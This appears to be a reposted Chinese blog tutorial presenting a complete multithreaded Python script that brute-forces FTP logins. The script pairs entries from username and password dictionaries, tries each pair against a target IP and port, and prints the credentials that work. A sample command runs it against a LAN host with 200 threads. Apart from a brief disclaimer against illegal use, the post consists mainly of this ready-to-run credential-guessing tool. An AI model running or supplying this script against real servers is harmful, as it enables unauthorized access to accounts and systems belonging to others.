Python 开发 多线程爆破 21端口.(拿到账号和密码,成功登录)

Posted 半个西瓜.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python 开发 多线程爆破 21端口.(拿到账号和密码,成功登录)相关的知识,希望对你有一定的参考价值。

💛总有一个温柔的人💚,💛给你带来最温柔的月亮💚

目录:

🌲Python 开发学习的意义:

🌲免责声明:

🌲Python开发 代码:

(1)利用 FTP模块 实现协议爆破脚本.

(2)在命令行下执行脚本.(这里我服务器修改 FTP协议端口 为221. )

 (3)效果图.

(4)端口连接.


🌲Python 开发学习的意义:

🌾(1)学习相关安全工具原理.

🌾(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.

🌾(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.

           

🌲免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

     

🌲Python开发 代码:

(1)利用 FTP模块 实现协议爆破脚本.

import ftplib       #FTP模块.
import sys          #传递模块.
import threading    #多线程用的.
import queue        #多线程用的.

#爆破要准备:IP,端口,用户名,密码字典.
def ftp_brute(ip,port):
    ftp = ftplib.FTP()                  #创建一个对象.
    ftp.connect(ip, int(port))          #尝试连接FTP,IP是输入的IP,port是输入的端口.
    while not  q.empty():               #接收下面传递的数据.
        dict=q.get()                    #用get形式来接收数据.
        dict=dict.split('|')            #把数据从 | 进行拆分.
        username=dict[0]                #第一个数据.
        password=dict[1]                #第二个数据.
        try:                                            #异常处理(成功的).
            ftp.login(username,password)                #尝试登录,usef账号字典,passf密码字典.
            ftp.retrlines('list')                       #获取列表信息.
            print(username+'|'+password+'|成功!')        #连接成功就打印账号和密码.
        except ftplib.all_errors:                       #错误的.
            print(username + '|' + password + '|失败!')
            pass

if __name__ == '__main__':
    ip=sys.argv[1]                          #输入的IP地址
    port=sys.argv[2]                        #输入的端口
    usefile=sys.argv[3]                     #输入的账号字典
    passfile=sys.argv[4]                    #输入的密码字典
    threading_unm =sys.argv[5]              #输入线程数
    q=queue.Queue()                         #传递模块.
    for username in open(usefile):                          #开打输入的字典文件,每一行还要取出来.
        for password in  open(passfile):                    #开打输入的字典文件,每一行还要取出来.
            username=username.replace('\\n','')              #把\\n替换为空
            password=password.replace('\\n','')              #把\\n替换为空
            zidian=username + '|' + password
            q.put(zidian)                                   #把账号和密码发送过去(发送到上面).

    for x in range(int(threading_unm)):                     #设置多线程(上面有输入的)
        t=threading.Thread(target=ftp_brute,args=(ip,int(port)))    #利用threading.Thread模块,target要执行的函数名,处理args传入的参数
        t.start()                                           #开启.

     

(2)在命令行下执行脚本.( 这里我服务器修改 FTP 协议端口 为221端口

D:\\pycharm开发代码\\渗透脚本>D:\\python-3.10.4\\python.exe 利用FTP模块实现协议爆破脚本.py 192.168.43.183 221 Uset.txt pass.txt 200

       

 (3)效果图.

    

(4)端口连接.

      

     

以上是关于Python 开发 多线程爆破 21端口.(拿到账号和密码,成功登录)的主要内容,如果未能解决你的问题,请参考以下文章

python多线程ssh爆破如何实现与防范?

python 后台爆破工具(多线程)

python多线程爆破压缩包密码

Python FTP多线程爆破脚本

python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

hydra爆破用法